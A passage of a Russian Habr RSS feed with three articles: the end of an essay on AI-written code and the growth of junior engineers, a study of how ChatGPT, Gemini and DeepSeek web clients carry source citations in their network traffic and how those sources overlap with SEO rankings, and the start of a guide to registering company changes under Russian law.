компромисса.&lt;p&gt;ИИ предлагал разумный вариант, все видели, что он выглядит хорошо, и двигались дальше.&lt;p&gt;Я тогда понял для себя: понимать готовое решение и прийти к нему самому – это не одно и то же.&lt;h3&gt;Иллюзия, которая возникает слишком легко&lt;/h3&gt;&lt;p&gt;Есть одна ошибка, в которую очень легко попасть.&lt;p&gt;Когда инженеру показывают хороший кусок кода, он может быстро разобраться в нём и подробно объяснить, что и почему там происходит. После этого появляется ощущение, что написать такой код самому было бы несложно.&lt;p&gt;Но это ощущение часто обманчиво.&lt;p&gt;Мне это напоминает шахматы.&lt;p&gt;Когда гроссмейстер показывает красивую комбинацию, она кажется почти очевидной. Смотришь на доску и думаешь: &amp;#34;Да, логично. Я тоже мог бы до этого додуматься&amp;#34;.&lt;p&gt;Но если убрать подсказку и дать ту же позицию без готового ответа, всё выглядит совсем иначе. Найти правильный ход самостоятельно оказывается гораздо сложнее.&lt;p&gt;Потому что понимать готовое решение и создавать его с нуля – разные вещи.&lt;p&gt;В разработке работает тот же принцип.&lt;p&gt;Разобраться в существующей архитектуре обычно проще, чем придумать её самому. Найти слабые места в решении легче, чем предложить действительно хорошую альтернативу. Проверить чужую работу проще, чем сделать её с чистого листа.&lt;p&gt;Это просто разные виды интеллектуальной работы, требующие разных навыков. Разных!&lt;h3&gt;Почему я решил что нужно переписать то, что уже работало&lt;/h3&gt;&lt;p&gt;Я задал себе прямой вопрос: а вырастут ли вместе с этим проектом мои программисты как инженеры?&lt;p&gt;И, увы, у меня уже не было уверенного ответа.&lt;p&gt;Тогда я принял решение, которое команда сначала приняла &amp;#34;в штыки&amp;#34;. Я решил, что для них, как для инженеров, будет лучше переписать значительную часть проекта практически с нуля.&lt;p&gt;Сразу уточню важную вещь. Переписывание не означало, что мы выбросили уже сделанную работу и начали всё заново ради самого процесса.&lt;p&gt;Первая версия проекта осталась с нами. Она стала рабочим прототипом, эталоном поведения системы и, если хотите, своеобразной картой местности. Мы уже знали, какие решения работают, какие компоненты нужны и как должен выглядеть результат.&lt;p&gt;Фактически мы сохранили полученное знание, но решили заново пройти путь принятия ключевых инженерных решений. Нас интересовал не только готовый код, но и понимание того, почему именно этот код появился таким, а не другим.&lt;p&gt;То есть, мы это сделали не потому, что первая версия была неудачной. Не потому, что GPT где-то ошибся. И точно не потому, что я разочаровался в ИИ.&lt;p&gt;Скорее наоборот. Этот опыт окончательно убедил меня, что такие инструменты пришли надолго и со временем будут становиться только лучше.&lt;p&gt;Причина была совсем в другом.&lt;p&gt;Мне хотелось вернуть в разработку то, что постепенно и почти незаметно начало исчезать – самостоятельное инженерное мышление.&lt;h3&gt;Когда ИИ перестал быть автором&lt;/h3&gt;&lt;p&gt;Во второй версии проекта GPT никуда не исчез.&lt;p&gt;Мы переписали проект практически с нуля, используя как подсказку первую версию, полностью сгенерированную ИИ.&lt;p&gt;Да, где-то это даже напоминало старый стиль работы со stackoverflow, но код и структура проекта была написана живыми людьми, часть кода была сознательно упрощена, часть переписана. Даже имена переменных кое-где были заданы более &amp;#34;человеческим&amp;#34; стилем.&lt;p&gt;То есть, мы по-прежнему активно использовали ИИ в работе: обсуждали разные варианты реализации, разбирали идеи, изучали готовые подходы и просили посмотреть на наши решения со стороны.&lt;p&gt;Но теперь его роль изменилась. GPT больше не был тем, кто принимает решения.&lt;p&gt;Он стал помощником, с которым можно посоветоваться. Собеседником, иногда – оппонентом, который предлагает совершенно другой взгляд на проблему. А вот финальное решение всегда оставалось за командой. И в процессе переписывания проекта начали происходить самые интересные вещи.&lt;p&gt;Например, некоторые решения из первой версии вообще не пережили вторую.&lt;p&gt;В первой реализации мы практически без обсуждений приняли предложенный ИИ способ организации нескольких частей RAG-конвейера. Он работал и выглядел вполне разумно. Но когда начали проектировать систему самостоятельно, быстро выяснилось, что часть этих решений команда не смогла убедительно защитить даже перед собой.&lt;p&gt;Появились вопросы, которых раньше никто не задавал. Что произойдёт при десятикратном росте объёма документов? Где будут узкие места? Какие компоненты действительно нужны, а какие появились просто потому, что так предложила модель?&lt;p&gt;Некоторые решения в итоге остались без изменений. И это оказался лучший аргумент в пользу переписывания. Теперь команда могла объяснить не только то, как эти решения работают, но и почему были выбраны именно они.&lt;p&gt;Другие были упрощены или полностью заменены. Не потому, что первая версия была плохой, а потому, что теперь за каждым выбором стояло собственное понимание компромиссов.&lt;p&gt;Конечно же, разработка, заняла больше времени, чем генерация кода с ИИ.&lt;p&gt;Но... Вернулись обсуждения архитектуры. Снова появились проблемы, хотя на их решения уже уходили не дни, а гораздо меньше (всегда можно было подсмотреть на первый вариант). Некоторые идеи казались удачными, а некоторые приходилось полностью выбрасывать и начинать заново.&lt;p&gt;Появились тупики, споры и сложные компромиссы.&lt;p&gt;Все то, что программисты обычно считают самой неприятной частью своей работы.&lt;p&gt;Но я был доволен: я видел как в этих моментах и происходило настоящее профессиональное развитие. Не тогда, когда за тебя быстро находят ответ, а тогда, когда приходится искать его самому.&lt;h3&gt;Где на самом деле растет инженер&lt;/h3&gt;&lt;p&gt;Чем дольше я работаю в индустрии, тем меньше верю в то, что инженер растет просто потому, что пишет код.&lt;p&gt;Мне кажется, настоящий рост происходит в другие моменты.&lt;p&gt;Он начинается тогда, когда человек сталкивается с последствиями собственных решений. С результатами того, что он создал ранее.&lt;p&gt;Например, когда архитектура, которая сначала казалась удачной, вдруг перестает масштабироваться. Или когда выбранный подход упирается в ограничения, о которых раньше никто не думал.&lt;p&gt;Иногда приходится признать, что красивое решение на практике оказалось неправильным. Иногда после нескольких дней работы нужно удалить половину написанного и начать заново.&lt;p&gt;Я думаю, что именно в такие моменты и формируется инженерное мышление.&lt;p&gt;Не во время успешного релиза. Не после очередного коммита. И точно не тогда, когда просто нажимаешь кнопку Approve.&lt;p&gt;А тогда, когда приходится разбираться, почему решение не сработало, и искать новый путь.&lt;h3&gt;Что будет с джунами&lt;/h3&gt;&lt;p&gt;Если честно, будущее опытных программистов волнует меня не так сильно.&lt;p&gt;Скорее всего, они адаптируются без особых проблем.&lt;p&gt;Для сильного специалиста ИИ становится просто еще одним инструментом. Он помогает быстрее изучать новые подходы, быстрее писать рутинный код и быстрее проверять идеи.&lt;p&gt;Но все ключевые решения по-прежнему принимает сам инженер.&lt;p&gt;Гораздо интереснее то, что происходит с новичками.&lt;p&gt;Раньше путь развития был довольно непростым. Человек писал код, допускал ошибки, получал замечания на ревью (бывало десятками за раз), переделывал решение и снова ошибался. Через этот процесс постепенно приходило понимание того, как принимать хорошие инженерные решения.&lt;p&gt;Сегодня этот путь начинает меняться.&lt;p&gt;Очень часто модель сразу предлагает решение, которое выглядит вполне рабочим. Сеньор оставляет несколько комментариев, задача закрывается, и команда движется дальше.&lt;p&gt;Для продукта это может быть отличным результатом. Работа выполняется быстрее, а компания получает нужный эффект.&lt;p&gt;Но становится ли при этом сильнее сам инженер? Я не знаю.&lt;p&gt;Возможно, мы только начинаем понимать, как меняется процесс обучения в эпоху ИИ. И пока непонятно, поможет ли это новичкам расти быстрее или, наоборот, лишит их важной части опыта, через которую раньше проходил практически каждый разработчик.&lt;p&gt;Поэтому я думаю, что главный вызов ближайших лет связан не с тем, научится ли ИИ генерировать код лучше человека.&lt;p&gt;Главный вопрос в том, как сохранить и развивать инженерное мышление в мире, где готовые ответы становятся доступнее с каждым днем.&lt;p&gt;Возможно, через несколько лет мы обнаружим, что научились создавать продукты гораздо быстрее. Но пока я не уверен, что мы научимся так же быстро выращивать инженеров.&lt;p&gt;И именно этот вопрос мне кажется сегодня самым важным!&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>samako</author>
      <guid>https://habr.com/ru/articles/1046269/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046269</guid>
      <pubDate>Wed, 10 Jun 2026 21:51:00 +0000</pubDate>
    </item>
    <item>
      <title>Мы вскрыли трафик ChatGPT, Gemini и DeepSeek, чтобы понять, откуда берутся «источники» в ответах</title>
      <link>https://habr.com/ru/articles/1046259/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046259</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Когда нейросеть отвечает на вопрос и показывает блок «источников», кажется, что у всех систем это одно и то же — список ссылок, на которые модель опиралась. На деле за этим блоком в каждой системе стоит своя реализация: свой способ обмена с сервером, свой формат ответа, свои поля, из которых интерфейс достаёт цитаты. Мы разобрали сетевой обмен веб-клиентов трёх систем — ChatGPT, Gemini и DeepSeek — и параллельно прогнали через них один и тот же набор запросов по 10 раз, чтобы понять не только техническое устройство цитирования, но и что эти системы реально цитируют.&lt;p&gt;Сразу оговорка: я основатель RankCaster AI — платформы, которая управляет видимостью брендов в ответах нейросетей. То есть мы изучаем категорию, в которой сами работаем. Чтобы не подыгрывать себе, мы исключили собственный домен из всех таблиц ещё до подсчётов, а ограничения методики описали в полном тексте исследования. Здесь — техническая часть: разбор механики цитирования.&lt;h3&gt;Зачем вообще лезть в сетевой обмен&lt;/h3&gt;&lt;p&gt;Исходный вопрос был маркетинговый: если сайт стоит в топ-10 Google или Bing, попадёт ли он в источники, которые цитирует ChatGPT по тому же запросу?&lt;p&gt;Короткий ответ — почти никогда. На 4 запросах × 2 поисковика × 3 нейросети (120 позиций SEO-топа) мы нашли всего 4 совпадения по URL — 3,3%. Картина бимодальня: 8 из 12 пар «поисковик × нейросеть» дали ноль совпадений, оставшиеся 4 — ровно по одному URL. Все четыре совпадения пришлись на Bing; на стороне Google — ноль. У ChatGPT — ноль совпадений с обоими поисковиками.&lt;p&gt;Но чтобы корректно считать совпадения, сначала нужно понять, что такое «источник» в каждой системе на уровне сетевого обмена. Иначе сравниваешь сущности, которые могут оказаться несравнимыми. Так маркетинговый вопрос превратился в сессию с инструментами разработчика по трём платформам.&lt;p&gt;Коротко о методике: 4 англоязычных B2B-запроса про инструменты мониторинга упоминаний в нейросетях, каждый запущен по 10 раз в каждой системе (веб-поиск включён, сессии без входа в аккаунт, все замеры в один день). Стабильность цитирования измеряли показателем APR (Answer Presence Rate) — в скольких прогонах из десяти источник попал в ответ. В таблицы шли источники с APR не ниже 20%. При N=10 доверительный интервал любой точки — порядка ±15–20 процентных пунктов, поэтому опираемся на качественную форму картины, а не на точечные значения.&lt;p&gt;Важная оговорка: ни одна из трёх систем не публикует внутренние схемы ответов. Всё, что ниже, — наблюдения за публичным сетевым обменом веб-клиентов и структурой JSON. Расшифровки полей со скрытыми именами — это гипотезы, построенные на поведении клиента, а не официальная документация. Имена адресов и заголовков зафиксированы в наших сессиях и могут отличаться между сборками, регионами и аккаунтами.&lt;h3&gt;ChatGPT: цитата привязана к фрагменту текста&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Как устроен обмен.&lt;/strong&gt; Веб-клиент шлёт POST-запросы с JSON на адреса вроде &lt;code&gt;/conversation&lt;/code&gt;, а ответ получает потоком через Server-Sent Events. Все запросы идут на &lt;a href=http://chatgpt.com rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;chatgpt.com&lt;/code&gt;&lt;/a&gt;, серверная часть доступна по трём префиксам путей: &lt;code&gt;/backend-api&lt;/code&gt; (основной), &lt;code&gt;/backend-alt&lt;/code&gt; и &lt;code&gt;/backend-anon&lt;/code&gt;. Последний обслуживает работу без входа в аккаунт, но «без входа» не значит «без идентификации»: каждый запрос всё равно сопровождается идентификатором устройства и токенами Cloudflare/Sentinel, по которым сервер привязывает обмен к конкретному устройству и сессии. Режим скрывает, кто вы как пользователь, — но не делает ваш клиент неотличимым для платформы.&lt;p&gt;&lt;strong&gt;Ход запроса.&lt;/strong&gt; Перед основным обменом клиент делает подготовительный запрос и получает токен (мы зовём его рабочим именем &lt;code&gt;conduit_token&lt;/code&gt;). Затем сообщение уходит на &lt;code&gt;/conversation&lt;/code&gt; с двумя нестандартными заголовками — по поведению это похоже на семейство механизмов Sentinel, которые ранее описывали другие исследователи: подготовительный запрос выдаёт привязанное к сессии доказательство работы клиента, без которого основной вызов не пройдёт.&lt;p&gt;В части сессий тот же подготовительный запрос дополнительно требовал токен Cloudflare Turnstile — то есть проверка антибота приходила не отдельной страницей-загадкой, как обычно, а условием того же подготовительного запроса, который выдаёт &lt;code&gt;conduit_token&lt;/code&gt;. Иначе говоря, две защиты совмещены в одном шаге, а не разнесены по разным.&lt;p&gt;Ответ приходит потоком Server-Sent Events: служебные сообщения, фрагменты текста, закрывающее сообщение.&lt;p&gt;&lt;strong&gt;Цитаты.&lt;/strong&gt; Источники живут в массиве &lt;code&gt;annotations[]&lt;/code&gt;, внутри объектов &lt;code&gt;url_citation&lt;/code&gt; с полями &lt;code&gt;url&lt;/code&gt;, &lt;code&gt;title&lt;/code&gt;, &lt;code&gt;start_ix&lt;/code&gt;, &lt;code&gt;end_ix&lt;/code&gt;. Последние два — это смещения в сгенерированном тексте, границы фрагмента ответа, к которому привязан источник. По аналогии с публичным Responses API, где &lt;code&gt;start_index&lt;/code&gt;/&lt;code&gt;end_index&lt;/code&gt; задокументированы как кодовые единицы UTF-16, и поскольку строки в JavaScript тоже индексируются в UTF-16, эти смещения почти наверняка тоже UTF-16: вызов &lt;code&gt;text.slice(start_ix, end_ix)&lt;/code&gt; в браузере возвращает именно процитированный фрагмент. Практическое следствие для тех, кто будет это разбирать: эмодзи и часть китайских/японских/корейских символов занимают две единицы (суррогатная пара), и если считать смещения байтами или кодовыми точками, цитаты «съедут».&lt;p&gt;&lt;strong&gt;Главный вывод по ChatGPT:&lt;/strong&gt; источник привязан к конкретному фрагменту ответа, а не ко всему ответу целиком. Чтобы бренд попал в &lt;code&gt;url_citation&lt;/code&gt;, модель должна использовать связанный с ним контент при генерации именно этого фрагмента.&lt;p&gt;&lt;strong&gt;Что цитирует.&lt;/strong&gt; На концептуальном запросе «What is GEO?» ChatGPT во всех 10 прогонах цитировал научную статью arXiv 2311.09735 (Принстон / Колумбия — та самая, где введён термин GEO). APR 100%, стабильнее любого маркетингового блога в нашей выборке. Плюс Wikipedia и узкоспециализированные блоги. С SEO-топом — ноль пересечений по URL.&lt;h3&gt;Gemini: каталог источников в массиве со скрытыми именами полей&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Как устроен обмен.&lt;/strong&gt; Потоковый ответ внутри Wiz — внутреннего JavaScript-каркаса Google, на котором собраны Docs, Maps, Photos. Адрес &lt;code&gt;batchexecute&lt;/code&gt; — это стандартный для Wiz-фронтендов механизм пакетной отправки удалённых вызовов. База: &lt;a href=https://gemini.google.com/_/BardChatUi/data/ rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;https://gemini.google.com/_/BardChatUi/data/&lt;/code&gt;&lt;/a&gt;. На вызов отправки сообщения мы наблюдали &lt;code&gt;rpcid hNvQHb&lt;/code&gt; (значения &lt;code&gt;rpcid&lt;/code&gt; между сборками меняются), на серверной стороне — обработчики семейства &lt;code&gt;BardFrontendService&lt;/code&gt;.&lt;p&gt;&lt;strong&gt;Формат тела.&lt;/strong&gt; Снаружи — &lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt; с двумя значимыми полями: &lt;code&gt;f.req&lt;/code&gt; (полезная нагрузка) и &lt;code&gt;at=&amp;lt;SNlM0e&amp;gt;&lt;/code&gt; (токен защиты от CSRF). Кстати, в имени токена третий символ — строчная латинская L, пятый — ноль; в одноширинных шрифтах это ловушка. Поле &lt;code&gt;f.req&lt;/code&gt; — JSON-конверт вида &lt;code&gt;[null,&amp;#34;&amp;lt;строка-конверт&amp;gt;&amp;#34;]&lt;/code&gt;, где внутри — нагрузка в формате JSPB / PBLite: сообщение Protobuf, записанное как массив JSON, в котором поле определяется не именем, а позицией. Имён полей в сетевом обмене нет вообще — маскировка именно в раскладке по индексам. Открытых &lt;code&gt;.proto&lt;/code&gt;-описаний для этого адреса не существует, поэтому соответствия полей мы вывели только эмпирически.&lt;p&gt;&lt;strong&gt;Цитаты.&lt;/strong&gt; Источники описываются набором полей с короткими маскированными именами. Здесь важно разделить два слоя: присутствие полей в потоке — наблюдаемый факт (имена реально встречаются в обмене), а смысл каждого имени — гипотеза. Наши рабочие догадки:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;sourceUrl&lt;/code&gt; — URL источника (саму строку URL видно напрямую, имя поля — наша рабочая метка: в сетевом обмене оно приходит позицией в массиве);&lt;li&gt;&lt;p&gt;&lt;code&gt;Mf&lt;/code&gt; — предположительно заголовок источника;&lt;li&gt;&lt;p&gt;&lt;code&gt;SR&lt;/code&gt; — предположительно краткое содержание;&lt;li&gt;&lt;p&gt;&lt;code&gt;rs&lt;/code&gt; — предположительно &lt;code&gt;reliability_score&lt;/code&gt;, внутренняя оценка доверия к домену;&lt;li&gt;&lt;p&gt;&lt;code&gt;ls&lt;/code&gt; — предположительно &lt;code&gt;last_seen_date&lt;/code&gt;, дата последнего обращения;&lt;li&gt;&lt;p&gt;&lt;code&gt;y6&lt;/code&gt; — предположительно сам процитированный фрагмент;&lt;li&gt;&lt;p&gt;&lt;code&gt;K1b&lt;/code&gt; — предположительно флаг валидности URL;&lt;li&gt;&lt;p&gt;&lt;code&gt;GK&lt;/code&gt; — диапазон символов в ответе (функциональный аналог &lt;code&gt;start_ix&lt;/code&gt; / &lt;code&gt;end_ix&lt;/code&gt; из ChatGPT);&lt;li&gt;&lt;p&gt;&lt;code&gt;tM&lt;/code&gt; — тип слияния (в обмене встречаются значения вроде &lt;code&gt;MERGED&lt;/code&gt;).&lt;/ul&gt;&lt;p&gt;У двухбуквенных имён есть и другие правдоподобные расшифровки (&lt;code&gt;rs&lt;/code&gt; — &lt;code&gt;ranking_signal&lt;/code&gt;? &lt;code&gt;retrieval_score&lt;/code&gt;?), и без внутренней документации Google однозначно выбрать нельзя. Но качественный вывод от точности расшифровок не зависит: рядом с каждым источником у Gemini едет семейство внутренних сигналов, коррелирующих с авторитетностью — сам факт существования этих полей важнее точного значения каждой аббревиатуры.&lt;p&gt;&lt;strong&gt;Что цитирует.&lt;/strong&gt; Gemini систематически поднимает крупные маркетинговые и SaaS-домены (Semrush, HubSpot, Zapier) и продукты своей же категории — на одном из запросов в топ попали четыре разных URL одного домена-конкурента. Любопытная деталь: в топ источников Gemini за все прогоны не попал ни один ресурс самого Google. И именно на паре Bing × Gemini пришлась заметная часть всех совпадений с SEO-топом.&lt;h3&gt;DeepSeek: источники как приложение к под-запросам&lt;/h3&gt;&lt;p&gt;DeepSeek из трёх систем устроен прозрачнее всего: веб-клиент возвращает массив &lt;code&gt;search_results[]&lt;/code&gt;, привязанный к под-запросам, на которые система разбивает исходный вопрос. Никакой арифметики смещений с суррогатными парами, никаких маскированных аббревиатур — но свой характер выбора источников выражен ярче всех.&lt;p&gt;&lt;strong&gt;Что цитирует.&lt;/strong&gt; DeepSeek живёт на новостных ресурсах и пресс-релизах: TMCnet, MarketScreener, GlobeNewswire, отраслевые B2B-новостники — то есть на слое, который формируется сервисами дистрибуции пресс-релизов. Из трёх систем он единственный стабильно цитировал китайские источники (BusinessNext, Alibaba Cloud). И именно у него — три точки максимальной стабильности из всей выборки: один поддомен документации (10/10) и два инструментальных сайта (по 10/10), которых нет ни в SEO-топах, ни у других систем.&lt;h3&gt;Три системы — три разные модели «источника»&lt;/h3&gt;&lt;p&gt;Сведём:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;&lt;th&gt;&lt;p align=left&gt;ChatGPT&lt;th&gt;&lt;p align=left&gt;Gemini&lt;th&gt;&lt;p align=left&gt;DeepSeek&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Способ обмена&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;JSON + Server-Sent Events&lt;td&gt;&lt;p align=left&gt;Wiz / batchexecute, JSPB&lt;td&gt;&lt;p align=left&gt;JSON, &lt;code&gt;search_results[]&lt;/code&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Привязка цитаты&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;к фрагменту текста (&lt;code&gt;start_ix&lt;/code&gt; / &lt;code&gt;end_ix&lt;/code&gt;)&lt;td&gt;&lt;p align=left&gt;к диапазону (&lt;code&gt;GK&lt;/code&gt;) + каталог полей&lt;td&gt;&lt;p align=left&gt;к под-запросу&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Внутренние сигналы&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;не видны&lt;td&gt;&lt;p align=left&gt;семейство полей (&lt;code&gt;rs&lt;/code&gt;, &lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;K1b&lt;/code&gt;…)&lt;td&gt;&lt;p align=left&gt;не видны&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Любимый тип источников&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;наука, Wikipedia, нишевые блоги&lt;td&gt;&lt;p align=left&gt;крупные SaaS- и маркетинг-домены&lt;td&gt;&lt;p align=left&gt;пресс-релизы, новостные сетки, документация&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Пересечение URL с SEO-топом&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;0&lt;td&gt;&lt;p align=left&gt;точечное (только Bing)&lt;td&gt;&lt;p align=left&gt;точечное (только Bing)&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Практические следствия:&lt;p&gt;«Оптимизируй под Google — и нейросеть подтянется» в изученной категории не работает. 3,3% пересечения, ноль на стороне Google. Каждая система отбирает источники по своим правилам, не совпадающим ни с SEO-ранжированием, ни друг с другом.&lt;p&gt;Для ChatGPT работает контент, который модель захочет использовать в конкретном фрагменте ответа — привязка цитаты к фрагменту делает «общую известность бренда» бесполезной.&lt;p&gt;Для Gemini, судя по полям, существует внутренняя оценка доменов. Если гипотеза &lt;code&gt;reliability_score&lt;/code&gt; верна, домен с историей доверия важнее отдельной удачной статьи.&lt;p&gt;Для DeepSeek канал распространения — пресс-релизы и новостные сетки, которые SEO-специалисты привыкли считать мусорным каналом.&lt;h3&gt;Ограничения&lt;/h3&gt;&lt;p&gt;Честно и списком: все 4 запроса — из одной продуктовой категории (нашей же — смещение выборки задекларировано); формулировки запросов составляли мы сами, а не брали из внешнего реестра; N=10 прогонов даёт ±15–20 п.п. на точку; замер сделан в один день, а веб-клиенты всех трёх систем обновляются постоянно, так что конкретные имена полей и адресов — снимок, а не канон. Выводы не стоит автоматически переносить на другие категории.&lt;p&gt;Полное исследование — все таблицы по 4 запросам, методика, типология источников — Source Overlap Between Search Engines and AI Recommendations.&lt;p&gt;Если вы видите в своих сессиях с инструментами разработчика другие имена полей или у вас есть данные по другим категориям запросов — расскажите в комментариях, нам интересно сравнить.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>Emelian1917</author>
      <guid>https://habr.com/ru/articles/1046259/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046259</guid>
      <pubDate>Wed, 10 Jun 2026 21:16:56 +0000</pubDate>
    </item>
    <item>
      <title>Юридическое сопровождение малого бизнеса: карта задач, нормативная база и операционная логика</title>
      <link>https://habr.com/ru/articles/1046257/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046257</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Малый бизнес несёт непропорционально высокую административную нагрузку: штраф по ч. 4 ст. 5.27 КоАП РФ за отсутствие трудового договора — до 100 000 ₽ на юридическое лицо, отказ ФНС в регистрации изменений по формальным основаниям откатывает процесс на 5–7 недель, ненадлежащим образом оформленный договор в арбитраже лишает доказательной базы. При этом экономика малого бизнеса не позволяет держать штатный юридический блок. В этой статье — разбор операционной структуры юридических задач, нормативная привязка и механика типовых процедур.&lt;h3&gt;Структура юридических задач малого бизнеса&lt;/h3&gt;&lt;p&gt;Юридические потребности малого бизнеса распадаются на пять функциональных блоков. Они не равнозначны по частоте возникновения, но каждый критичен при наступлении соответствующего события.&lt;p&gt;&lt;strong&gt;Корпоративный блок&lt;/strong&gt; — регистрация, внесение изменений в ЕГРЮЛ и устав, реорганизация, подготовка корпоративных решений. Частота: 1–3 раза в год, но цена ошибки высокая.&lt;p&gt;&lt;strong&gt;Договорная работа&lt;/strong&gt; — разработка, согласование, экспертиза договоров. Претензионная переписка как обязательная досудебная стадия по ч. 5 ст. 4 АПК РФ (30 календарных дней по умолчанию для споров из предпринимательской деятельности). Частота: постоянная.&lt;p&gt;&lt;strong&gt;Кадровое делопроизводство&lt;/strong&gt; — ведение обязательной документации по ТК РФ, локальные нормативные акты, оформление движений персонала. Частота: ежемесячно.&lt;p&gt;&lt;strong&gt;Налоговые консультации&lt;/strong&gt; — ответы на требования ФНС, выбор режима налогообложения, проверка первичной документации. Частота: ситуативно, но в рамках камеральных и выездных проверок — принудительно.&lt;p&gt;&lt;strong&gt;Представительство&lt;/strong&gt; — сопровождение проверок ФНС, ГИТ, прокуратуры; арбитражные и суды общей юрисдикции. Частота: нерегулярно, но с высоким удельным весом трудозатрат.&lt;p&gt;Ниже — разбор двух наиболее технически сложных блоков: корпоративного и кадрового.&lt;h3&gt;Внесение изменений в ЕГРЮЛ и устав: процедурная механика&lt;/h3&gt;&lt;h4&gt;Нормативная база&lt;/h4&gt;&lt;p&gt;Порядок государственной регистрации изменений регулируется Федеральным законом от 08.08.2001 № 129-ФЗ «О государственной регистрации юридических лиц и индивидуальных предпринимателей». Форма заявления — Р13014, утверждена Приказом ФНС России от 31.08.2020 № ЕД-7-14/617@. Старые формы Р13001 и Р14001 не применяются с 25 ноября 2020 года.&lt;p&gt;Срок регистрации — 5 рабочих дней (п. 1 ст. 8 ФЗ № 129-ФЗ), при электронной подаче через сервис ФНС или через нотариуса — 1 рабочий день.&lt;p&gt;Госпошлина — 800 ₽ (пп. 3 п. 1 ст. 333.33 НК РФ). При электронной подаче с усиленной квалифицированной электронной подписью (УКЭП) — 0 ₽ (пп. 32 п. 3 ст. 333.35 НК РФ).&lt;h4&gt;Типология изменений и требования к документам&lt;/h4&gt;&lt;p&gt;Разные типы изменений влекут разный пакет документов и разные процедурные требования.&lt;p&gt;&lt;strong&gt;Смена генерального директора&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Форма: Р13014&lt;li&gt;&lt;p&gt;Нотариус: не требуется (если директор подаёт лично или через УКЭП)&lt;li&gt;&lt;p&gt;Дополнительные требования: решение участника / протокол собрания&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Смена юрадреса (в пределах места нахождения)&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Форма: Р13014&lt;li&gt;&lt;p&gt;Нотариус: не требуется&lt;li&gt;&lt;p&gt;Дополнительные требования: документ, подтверждающий права на адрес&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Смена юрадреса (изменение места нахождения)&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Форма: Р13014&lt;li&gt;&lt;p&gt;Нотариус: не требуется&lt;li&gt;&lt;p&gt;Дополнительные требования: двухэтапная процедура: сначала уведомление, через 20 дней — регистрация&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Изменение устава (ОКВЭД, порядок управления и т.д.)&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Форма: Р13014 + новая редакция устава&lt;li&gt;&lt;p&gt;Нотариус: не требуется&lt;li&gt;&lt;p&gt;Дополнительные требования: новый устав в 2 экз. (или 1 экз. при электронной подаче)&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Выход участника из ООО&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Форма: Р13014&lt;li&gt;&lt;p&gt;Нотариус: да — заявление участника и договор (нотариус сам подаёт заявление в ФНС)&lt;li&gt;&lt;p&gt;Дополнительные требования: —&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Продажа доли участника&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Форма: Р13014&lt;li&gt;&lt;p&gt;Нотариус: да — договор купли-продажи доли (нотариус удостоверяет сделку и подаёт документы)&lt;li&gt;&lt;p&gt;Дополнительные требования: —&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Увеличение уставного капитала&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Форма: Р13014&lt;li&gt;&lt;p&gt;Нотариус: не требуется&lt;li&gt;&lt;p&gt;Дополнительные требования: протокол, заявление, подтверждение оплаты&lt;/ul&gt;&lt;h4&gt;Двухэтапная процедура смены места нахождения&lt;/h4&gt;&lt;p&gt;Если юридический адрес меняется с изменением места нахождения (другой населённый пункт или, применительно к Москве, — в ряде случаев другой район), применяется двухэтапная процедура по ст. 18 ФЗ № 129-ФЗ:&lt;p&gt;&lt;strong&gt;Этап 1.&lt;/strong&gt; Уведомление ФНС об изменении места нахождения — форма Р13014 с указанием нового адреса. В ЕГРЮЛ вносится запись о принятом решении. Пауза — 20 рабочих дней (законодательный запрет на регистрацию в этот период защищает кредиторов).&lt;p&gt;&lt;strong&gt;Этап 2.&lt;/strong&gt; По истечении 20 рабочих дней — повторная подача Р13014 с новым уставом (если адрес закреплён в уставе) или без него. ФНС регистрирует изменение.&lt;p&gt;На практике именно здесь возникает большинство технических ошибок: компании пропускают первый этап или неправильно исчисляют 20-дневный срок.&lt;h4&gt;Типовые основания для отказа в 